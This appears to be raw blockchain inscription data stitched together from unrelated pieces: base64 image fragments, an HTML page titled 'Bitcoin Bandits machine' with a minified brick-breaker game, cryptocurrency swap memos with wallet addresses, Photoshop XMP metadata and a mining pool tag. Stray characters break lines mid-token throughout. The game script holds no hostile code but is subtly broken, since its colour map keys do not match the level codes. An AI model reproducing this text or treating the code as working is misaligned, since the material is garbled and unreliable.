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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecaM
nvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y",M
"Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ballM
={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSM
ize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fM
illRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){baL
ll.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/plain;charset=utf-8
text/plain;charset=utf-8
4+$+44454441444444444444444414444444444444444414444444
CjA=:ETH.ETH:0x35Ad05dDAF7afebE0137211bd2469a0fdF2d9F41:239648482::0
HjF=:BNB.BTCB-1DE:bnb168jz0tlyle2h3gsme23dxsp5t76gy7xymlumd2:3215062:te:0
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:FM
5CBC027ACF111EDBCDE830AF77E9FA7" xmpMM:DocumentID="xmp.did:F5CBC028ACF111EDBCDE830AF77E9FA7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F5CBC025ACF111EDBCDE830AF77E9FA7" stRef:documentID="xmp.did:F5CBC026ACF111EDBCDE830AF77E9FA7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
